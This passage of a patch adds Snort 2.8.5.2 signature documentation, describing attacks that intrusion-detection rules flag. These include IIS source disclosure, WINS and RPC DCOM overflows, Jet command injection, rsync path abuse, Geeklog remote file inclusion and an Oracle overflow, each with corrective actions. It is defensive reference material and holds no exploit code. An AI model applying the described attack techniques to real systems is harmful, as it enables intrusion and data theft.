+An attacker can craft a URL that includes the 'Translate: f' followed by a '/' to disclose the source code of a file such as global.asa on the vulnerable server. 
+
+--
+Ease of Attack:
+Simple.  The Nessus vulnerability scanner can test for this exploit. 
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Apply the patch referenced in the Microsoft link.
+
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/MS00-058.asp
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3200.txt
+++ snort-2.8.5.2/doc/signatures/3200.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+3200
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft WINS.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft WINS such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker would need to send multiple malformed request to the WINS
+service running on a host.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Uninstall the WINS service.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/100000739.txt
+++ snort-2.8.5.2/doc/signatures/100000739.txt
@@ -0,0 +1,55 @@
+
+
+Rule:
+
+--
+Sid:
+100000739
+--
+Summary:
+This event is generated when an attempt is made to exploit a remote file include vulnerability in the "Geeklog" application running on a webserver. Access to the file "IPofUrl.Examine.class.php" using a remote file being passed as the "$_CONF[path]" parameter may indicate that an exploitation attempt has been attempted. 
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized administrative access to the server or application. Possible execution of arbitrary code of the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to include a file from a remote machine via the "$_CONF[path]" parameter in the "IPofUrl.Examine.class.php" script used by the "Geeklog" application running on a webserver.
+
+If stringent input checks are not performed by the CGI application, it may also be possible for an attacker to execute system binaries or malicious code of the attackers choosing.
+
+This event is generated when an attempt is made to gain unauthorized access to a CGI application running ona web server. Some applications do not perform stringent checks when validating the credentials of a client host connecting to the services offered on a host server. This can lead to unauthorized access and possibly escalated privileges to that of the administrator. Data stored on the machine can be compromised and trust relationships between the victim server and other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+All systems running CGI applications using Geeklog
+--
+Attack Scenarios:
+An attacker can access an authentication mechanism and supply his/her own credentials to gain access. Alternatively the attacker can exploit weaknesses to gain access as the administrator by supplying input of their choosing to the underlying CGI script.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+--
+Additional References:
+
+--
+
--- snort-2.8.5.2.orig/doc/signatures/2149.txt
+++ snort-2.8.5.2/doc/signatures/2149.txt
@@ -0,0 +1,59 @@
+Rule:
+
+--
+Sid: 2149
+
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a weakness in a php application. 
+
+--
+Impact:
+Information gathering.
+
+--
+Detailed Information:
+This event indicates that an attempt has been made to exploit potential weaknesses in php applications.
+
+The Turba of Horde PHP application allows a user to request the status.php file which may disclose valuable information about the host and the application.
+
+The attacker may be trying to gain information on the php implementation on the host, this may be the prelude to an attack against that host using that information.
+
+--
+Affected Systems:
+Any host using Turba of Horde php application.
+
+--
+Attack Scenarios:
+An attacker can retrieve a sensitive file containing information on the php application on the host. The attacker might then gain administrator access to the site or database.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the php implementation on the host. Ensure all measures have been taken to deny access to sensitive files.
+
+Check the host for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1125.txt
+++ snort-2.8.5.2/doc/signatures/1125.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1125
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2055.txt
+++ snort-2.8.5.2/doc/signatures/2055.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+2055
+
+--
+Summary:
+Versions of the software tracking system Bugzilla prior to 2.14.1 are 
+prone to a vulnerability that allows some degree of account hijacking.
+
+--
+Impact:
+False data may be represented in the bug tracking database.
+
+--
+Detailed Information:
+Versions of Bugzilla prior to 2.14.1 and cvs version 2.15 prior to 
+20020103 allow non-authorized users to post comments as any user of 
+their choosing, including non-valid usernames.
+
+A check to verify the user is valid when posting comments is not 
+performed correctly. Using this an attacker might post comments as 
+another user in the bugtraq database.
+
+--
+Affected Systems:
+Bugzilla versions prior to 2.14.1 and cvs versions prior to 2.15 (cvs20020103)
+
+--
+Attack Scenarios:
+The attacker can manually edit the page to pass his own version of 
+variables to the script handling the comments. This script in turn 
+passes the data directly to another script that handles the posting of 
+bugs without checking the user database.
+
+--
+Ease of Attack:
+Simple
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Upgrade Bugzilla to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+CVE:
+http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-0008
+
+Bugzilla:
+http://www.bugzilla.org/security/2.14.1/
+http://bugzilla.mozilla.org/show_bug.cgi?id=108385
+http://bugzilla.mozilla.org/show_bug.cgi?id=108516
+
+--
--- snort-2.8.5.2.orig/doc/signatures/106-3.txt
+++ snort-2.8.5.2/doc/signatures/106-3.txt
@@ -0,0 +1,58 @@
+
+
+Rule:
+
+--
+Sid:
+106-3
+
+--
+Summary:
+This event is generated when the pre-processor spp_rpc_decode detects
+network traffic that may constitute an attack. Specifically a large rpc
+record fragment was detected.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event is generated when the spp_rpc_decode pre-processor detects
+network traffic that may consititute an attack.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/488.txt
+++ snort-2.8.5.2/doc/signatures/488.txt
@@ -0,0 +1,61 @@
+Rule:  
+
+--
+Sid:
+488
+
+--
+Summary:
+This event is generated when a connection is closed from a resource
+external to the protected network.
+
+--
+Impact:
+Unknown.
+
+--
+Detailed Information:
+This event indicates that an established connection has been closed
+from a source external to the protected network. Since the external
+connection port is 80, this is unusual behavior. It may be that an
+attacker is using port 80 on the external machine to initiate a
+connection to a machine on the protected network in an attempt to bypass
+firewall protection. When this connection is terminated, this rule will
+generate an event.
+
+--
+Affected Systems:
+	All systems
+	
+--
+Attack Scenarios:
+An attacker can use port 80 from a compromised machine to connect to
+another compromised host in an attempt to bypass firewall restrictions
+by imitating normal web traffic.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Investigate the host for signs of system compromise.
+
+--
+Contributors:
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2561.txt
+++ snort-2.8.5.2/doc/signatures/2561.txt
@@ -0,0 +1,67 @@
+Rule:
+
+--
+Sid:
+2561
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a vulnerability
+associated with rsync.
+
+--
+Impact:
+A successful attack may allow files to be existing files to be overwritten
+or new files created on the rsync server.
+
+--
+Detailed Information:
+rsync is used to remote copy files.  A command line option "--backup-dir"
+can be used to specify a directory where backup files are to be placed.
+There is no validation of the argument supplied to this option to scrutinize
+it for proper formatting.  A malicious user can try to overwrite existing
+files or create new ones on a vulnerable host by supplying a value to
+"--backup-dir" that is relative to the root directory.
+
+--
+Affected Systems:
+Many Unix and Linux distributions running rsync.
+See http://www.securityfocus.com/bid/10247 for affected operating systems.
+
+--
+Attack Scenarios:
+An attacker can send a rsync command supplying the -backup-dir option
+with a path relative to the root file system, overwriting or creating
+new files on the vulnerable host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Upgrade to the latest non-affected version of the software.
+Run the rsync server in a chroot environment.
+
+--
+Contributors:
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+--
+Additional References
+
+CVE:
+http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0426
+
+Bugtraq:
+http://www.securityfocus.com/bid/10247
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1022.txt
+++ snort-2.8.5.2/doc/signatures/1022.txt
@@ -0,0 +1,63 @@
+Note rule content has been altered for this rule.  Don't know if we should say so in documentation.
+Rule:
+
+--
+Sid:
+1022
+
+--
+Summary:
+This event is generated when an attempt is made to execute a shell command possibly associated with an exploit with the Microsoft Jet database engine. 
+
+--
+Impact:
+Remote access.  This attack may permit the execution of arbitrary commands on the vulnerable server.
+
+--
+Detailed Information:
+Microsoft Jet database engine facilitates the addition, modification, deletion, and search of database data.  Jet may be used as a backend for web applications.  It allows the use of embedded Visual Basic for Application expressions in SQL strings.  A vulnerability associated with inadequate filtering of user input allows an attacker to execute code on the vulnerable server by supplying a command delimited by "|" characters.
+
+--
+Affected Systems:
+Jet 3.5, 3.51
+
+--
+Attack Scenarios:
+An attacker can craft a special URL to execute arbitrary commands on a vulnerable server.
+
+--
+Ease of Attack:
+Simple.  Exploit code is freely available.
+
+--
+False Positives:
+None Known.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Disable Jet ODBC drivers if they are not required.
+
+Upgrade to Jet 4.0.
+ 
+--
+Contributors:
+Original rule writer unknown
+Modified by Brian Caswell <bmc@sourcefire.com>
+Sourcefire Research Team
+Judy Novak <judy.novak@sourcefire.com>
+
+--
+Additional References:
+
+Microsoft
+http://www.microsoft.com/technet/security/bulletin/ms99-030.asp
+
+Bugtraq:
+http://www.securityfocus.com/bid/286
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3271.txt
+++ snort-2.8.5.2/doc/signatures/3271.txt
@@ -0,0 +1,70 @@
+Rule:
+
+--
+Sid:
+3271
+
+--
+Summary:
+This rule generates an event when an attempt is made to exploit a known 
+vulnerability in Microsoft RPC DCOM.
+
+--
+Impact:
+Execution of arbitrary code leading to full administrator access of the 
+machine. Denial of Service (DoS).
+
+--
+Detailed Information:
+A vulnerability exists in Microsoft RPC DCOM such that execution of 
+arbitrary code or a Denial of Service condition can be issued against a 
+host by sending malformed data via RPC.
+
+The Distributed Component Object Model (DCOM) handles DCOM requests sent
+by clients to a server using RPC. A malformed request to an RPC port 
+will result in a buffer overflow condition that will present the 
+attacker with the opportunity to execute arbitrary code with the 
+privileges of the local system account.
+
+--
+Affected Systems:
+	Windows NT 4.0
+	Windows NT 4.0 Terminal Server Edition
+	Windows 2000
+	Windows XP
+	Windows Server 2003
+
+--
+Attack Scenarios:
+An attacker may make a request for a file with an overly long filename 
+via a network share.
+
+--
+Ease of Attack:
+Simple. Expoit code exists.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches.
+
+Block access to RPC ports 135, 139 and 445 for both TCP and UDP 
+protocols from external sources using a packet filtering firewall.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/122-5.txt
+++ snort-2.8.5.2/doc/signatures/122-5.txt
@@ -0,0 +1,93 @@
+
+
+Rule:
+
+--
+Sid:
+122-5
+
+--
+Summary:
+This event is generated when the pre-processor sfPortscan detects
+network traffic that may constitute an attack. Specifically a tcp
+filtered portscan was detected.
+
+--
+Impact:
+Unknown. This is normally an indicator of possible network
+reconnaisance and may be the prelude to a targeted attack against the
+targeted systems.
+
+--
+Detailed Information:
+This event is generated when the sfPortscan pre-processor detects
+network traffic that may consititute an attack.
+
+A portscan is often the first stage in a targeted attack against a
+system. An attacker can use different portscanning techniques and tools
+to determine the target host operating system and application versions
+running on the host to determine the possible attack vectors against
+that host.
+
+More information on this event can be found in the individual
+pre-processor documentation README.sfportscan in the docs directory of
+the snort source. Descriptions of different types of portscanning
+techniques can also be found in the same documentation, along with
+instructions and examples on how to tune and use the pre-processor.
+
+--
+Affected Systems:
+	All.
+
+--
+Attack Scenarios:
+An attacker often uses a portscanning technique to determine operating
+system type and version and also application versions to determine
+possible effective attack vectors that can be used against the target
+host.
+
+--
+Ease of Attack:
+Simple. Many portscanning tools are freely available.
+
+--
+False Positives:
+While not necessarily a false positive, a security audit or penetration
+test will often employ the use of a portscan in the same way an
+attacker might use the technique. If this is the case, the
+pre-processor should be tuned to ignore the audit if so desired.
+
+--
+False Negatives:
+None Known.
+
+--
+Corrective Action:
+Check for other events targeting the host.
+
+Check the target host for signs of compromise.
+
+Apply any appropriate vendor supplied patches as appropriate.
+
+--
+Contributors:
+Sourcefire Vulnerability Research Team
+Daniel Roelker <droelker@sourcefire.com>
+Marc Norton    <mnorton@sourcefire.com>
+Jeremy Hewlett <jh@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+Nmap:
+http://www.insecure.org/nmap/
+
+Port Scanning Techniques and the Defense Against Them - Roger
+Christopher, SANS:
+http://www.sans.org/rr/whitepapers/auditing/70.php
+
+Hypervivid Tiger Team - Port-Scanning: A Practical Approach
+http://www.hcsw.org/reading/nmapguide.txt
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1463.txt
+++ snort-2.8.5.2/doc/signatures/1463.txt
@@ -0,0 +1,53 @@
+Rule:
+
+--
+Sid: 1463
+
+--
+Summary:
+This event is generated when activity relating to network chat clients is detected.
+
+--
+Impact:
+Policy Violation. Use of chat clients to communicate with unkown external sources may be against the policy of many organizations.
+
+--
+Detailed Information:
+Instant Messaging (IM) and other chat related client software can allow users to transfer files directly between hosts. This can allow malicious users to circumvent the protection offered by a network firewall.
+
+Vulnerabilities in these clients may also allow remote attackers to gain unauthorized access to a host.
+
+--
+Attack Scenarios:
+A user may transfer sensitive company information to an external party using the file transfer capabilities of an IM client.
+
+An attacker might utilize a vulnerability in an IM client to gain access to a host, then upload a Trojan Horse program to gain control of that host.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+--
+Corrective Action:
+Disallow the use of IM clients on the protected network and enforce or implement an organization wide policy on the use of IM clients.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <brian.caswell@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+IRC Protocol
+http://www.irchelp.org/irchelp/rfc/
+
+--
--- snort-2.8.5.2.orig/doc/signatures/3041.txt
+++ snort-2.8.5.2/doc/signatures/3041.txt
@@ -0,0 +1,67 @@
+Rule: 
+
+--
+Sid: 
+3041
+
+-- 
+Summary: 
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Samba implementation.
+
+-- 
+Impact: 
+Serious. Possible execution of arbitrary code.
+
+--
+Detailed Information:
+Samba is a file and print serving system for heterogenous networks. It
+is available for use as a service and client on UNIX/Linux systems and as
+a client for Microsoft Windows systems.
+
+Samba uses the SMB/CIFS protocols to allow communication between client
+and server. The SMB protocol contains many commands and is commonly used
+to control network devices and systems from a remote location. A
+vulnerability exists in the way the smb daemon processes commands sent by
+a client system when accessing resources on the remote server.The problem
+exists in the allocation of memory which can be exploited by an attacker
+to cause an integer overflow, possibly leading to the execution of
+arbitrary code on the affected system with the privileges of the user
+running the smbd process.
+
+--
+Affected Systems:
+	Samba 3.0.8 and prior
+
+--
+Attack Scenarios: 
+An attacker needs to supply specially crafted data to the smb daemon to
+overflow a buffer containing the information for the access control lists
+to be applied to files in the smb query.
+
+-- 
+Ease of Attack: 
+Difficult.
+
+-- 
+False Positives:
+None Known
+
+--
+False Negatives:
+None Known
+
+-- 
+Corrective Action: 
+Apply the appropriate vendor supplied patch
+
+--
+Contributors: 
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1403.txt
+++ snort-2.8.5.2/doc/signatures/1403.txt
@@ -0,0 +1,75 @@
+Rule:
+
+--
+Sid:
+1403
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+Viewcode can be used to vew the source code for your server's asp files.
+These files could contain login names and other sensitive information.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+Ricky McAtee <rmcatee@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/570.txt
+++ snort-2.8.5.2/doc/signatures/570.txt
@@ -0,0 +1,71 @@
+SID:
+570
+--
+
+Rule:
+--
+
+Summary:
+This event indicates an attempt to exploit the tool talk RPC database 
+service
+--
+
+Impact:
+Possible unauthorized administrative access to the server or application
+or a denial of service to the affected application
+--
+
+Detailed Information:
+ToolTalk RPC database service (rpc.ttdbserverd) does not perform 
+adequate input validation or provide a format string specifier argument 
+when writing to syslog. This means a specifically crafted RPC request to
+the ToolTalk RPC database service overwriting specific locations in 
+memory and therefore allowing execution of code with the same permission
+level as the user running ttdbserverd, usually root.
+--
+
+Affected Systems:
+	HP-UX 10.10 - 11.0
+	AIX 4.1 - 4.3
+	IRIX 5.2 - 6.4
+	Solaris 1.1 - 2.6
+	TriTeal TED CDE 4.3
+	Xi Graphics Maximum CDE 1.2.3
+	
+Possibly other vendors, if you are running Tool Talk (rpc.ttdbserverd) check with your vendor.
+--
+
+Attack Scenarios:
+An attacker will send a specially crafted RPC call to the 
+rpc.ttdbserverd daemon running on an affected system. A sucessful 
+attack will then run code on the server with the access level of the 
+root user.
+--
+
+Ease of Attack:
+Simple, Exploit code is available.
+--
+
+False Positives:
+None known
+--
+
+False Negatives:
+None known
+--
+
+Corrective Action:
+Updates packages and patches are available from vendors, install them or
+disable the service if not needed.
+--
+
+Contributors:
+Snort documentation contributed by matthew harvey <indexone@yahoo.com>
+Original Rule Writer Unknown
+Sourcefire Research Team
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2504.txt
+++ snort-2.8.5.2/doc/signatures/2504.txt
@@ -0,0 +1,60 @@
+Rule:
+
+--
+Sid:
+2504
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in the Microsoft implementation of SSL Version 3.
+
+--
+Impact:
+Denial of Service (DoS).
+--
+Detailed Information:
+A vulnerability exists in the handling of SSL Version 3 requests that
+can be manipulated to cause a DoS condition in various software 
+implementations used on Microsoft operating systems.
+
+The condition exists because of poor error handling routines in the
+Microsoft Secure Sockets Layer (SSL) library. SSL requests containing an
+invalid field, sent to vulnerable systems can cause the affected host to stop 
+handling any further requests.
+
+--
+Affected Systems:
+	Microsoft Windows 2000, 2003 and XP systems using SSL
+
+--
+Attack Scenarios:
+An attcker needs to make an SSL request to an affected system that
+contains an invalid field.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+--
+Contributors:
+Sourcefire Research Team
+Matt Watchinski <mwatchinski@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1822.txt
+++ snort-2.8.5.2/doc/signatures/1822.txt
@@ -0,0 +1,64 @@
+Rule:  
+
+--
+Sid:
+1822
+
+--
+Summary:
+This event is generated when an attempt is made to execute a directory
+traversal attack.
+
+--
+Impact:
+Information disclosure. This is a directory traversal attempt which can
+lead to information disclosure and possible exposure of sensitive
+system information.
+
+--
+Detailed Information:
+Directory traversal attacks usually target web, web applications and ftp
+servers that do not correctly check the path to a file when requested by
+the client.
+
+This can lead to the disclosure of sensitive system information which may
+be used by an attacker to further compromise the system.
+
+--
+Affected Systems:
+
+--
+Attack Scenarios:
+An authorized user or anonymous user can use the directory traversal 
+technique, to browse folders outside the ftp root directory. Information
+gathered may be used in further attacks against the host.
+
+--
+Ease of Attack:
+Simple. No exploit software required.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Apply the appropriate vendor supplied patches
+
+Upgrade the software to the latest non-affected version.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2381.txt
+++ snort-2.8.5.2/doc/signatures/2381.txt
@@ -0,0 +1,65 @@
+Rule:  
+
+--
+Sid:
+2381
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in Checkpoint Firewall-1
+
+--
+Impact:
+Serious. Unauthorized administrative access to the firewall
+
+--
+Detailed Information:
+A vulnerability exists in Checkpoint Firewall-1 that may allow a remote
+attacker to gain control of the firewall. The issues lies in the
+handling of HTTP requests by the Security Server and Application
+Intelligence modules of the Firewall's administration console.
+
+By supplying a malformed scheme in a URI an attacker may present the
+attacker with the opportunity to send data of their choosing to the
+sprintf() system call.
+
+--
+Affected Systems:
+	Checkpoint Firewall-1
+	
+--
+Attack Scenarios:
+An attacker must supply specially crafted packets containing malformed
+URI schema with the data they wish to send to the sprintf() function.
+This may then present the attacker with administrative privileges on the
+server.
+
+--
+Ease of Attack:
+Moderate.
+
+--
+False Positives:
+None known
+
+--
+False Negatives:
+None known
+
+--
+Corrective Action:
+Disallow external access to the Firewall-1 administrative interface.
+
+Disable the Web interface to the firewall if possible
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+-- 
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1136.txt
+++ snort-2.8.5.2/doc/signatures/1136.txt
@@ -0,0 +1,71 @@
+Rule:
+
+--
+Sid:
+1136
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability on a web server or a web application resident on a web
+server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server. Possible execution of arbitrary code of 
+the attackers choosing in some cases.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running a Web server or a vulnerable application on a web server.
+
+Many known vulnerabilities exist for each implementation and the 
+attack scenarios are legion.
+
+Some applications do not perform stringent checks when validating the
+credentials of a client host connecting to the services offered on a
+host server. This can lead to unauthorized access and possibly escalated
+privileges to that of the administrator. Data stored on the machine can
+be compromised and trust relationships between the victim server and 
+other hosts can be exploited by the attacker.
+
+--
+Affected Systems:
+	All systems using a web server.
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+Check the host logfiles and application logs for signs of compromise.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/1801.txt
+++ snort-2.8.5.2/doc/signatures/1801.txt
@@ -0,0 +1,62 @@
+Rule:
+
+--
+Sid:
+1801
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known 
+vulnerability in a web server running Microsoft Internet Information
+Server.
+
+--
+Impact:
+Information gathering and system integrity compromise. Possible unauthorized
+administrative access to the server or application. Possible execution
+of arbitrary code of the attackers choosing in some cases. Denial of
+Service is possible.
+
+--
+Detailed Information:
+This event is generated when an attempt is made to compromise a host
+running Microsoft Internet Information Server (IIS). Many known
+vulnerabilities exist for this platform and the attack scenarios are
+legion.
+
+--
+Affected Systems:
+	All systems running Microsoft IIS
+
+--
+Attack Scenarios:
+Many attack vectors are possible from simple directory traversal to
+exploitation of buffer overflow conditions.
+
+--
+Ease of Attack:
+Simple. Many exploits exist.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
+had all vendor supplied patches applied.
+
+--
+Contributors:
+Sourcefire Research Team
+Brian Caswell <bmc@sourcefire.com>
+Nigel Houghton <nigel.houghton@sourcefire.com>
+
+--
+Additional References:
+
+--
--- snort-2.8.5.2.orig/doc/signatures/2633.txt
+++ snort-2.8.5.2/doc/signatures/2633.txt
@@ -0,0 +1,74 @@
+Rule:
+
+--
+Sid:
+2633
+
+--
+Summary:
+This event is generated when an attempt is made to exploit a known
+vulnerability in a Oracle database implementation.
+
+--
+Impact:
+Serious. Execution of arbitrary code may be possible. A Denial of
+Service (DoS) condition may also be caused.
+
+--
+Detailed Information:
+Oracle databases may use a built-in procedure to assist in useful
+tasks. The "rectifier_diff.differences" and "rectifier_diff.rectify"
+procedures are used to find and resolve inconsistencies between
+two replicated sites. These procedures contain a programming error
+that may allow an attacker to execute a buffer overflow attack.
+
+This overflow is triggered by a long string in a parameter for the
+procedure.
+
+If you are running Oracle on a Windows server, make sure that the
+variable $ORACLE_PORTS is set to a value of "any".
+
+--
+Affected Systems:
+        Oracle 9i
+
+--
+Attack Scenarios:
+An attacker can supply a long string to the "sname1" variable to cause
+the overflow. The result could permit the attacker to gain escalated
+privileges and run code of their choosing. This attack requires an
+attacker to logon to the database with a valid username and password
+combination.
+
+--
+Ease of Attack:
+Simple.
+
+--
+False Positives:
+None known.
+
+--
+False Negatives:
+None known.
+
+--
+Corrective Action:
+Ensure the system is using an up to date version of the software and has
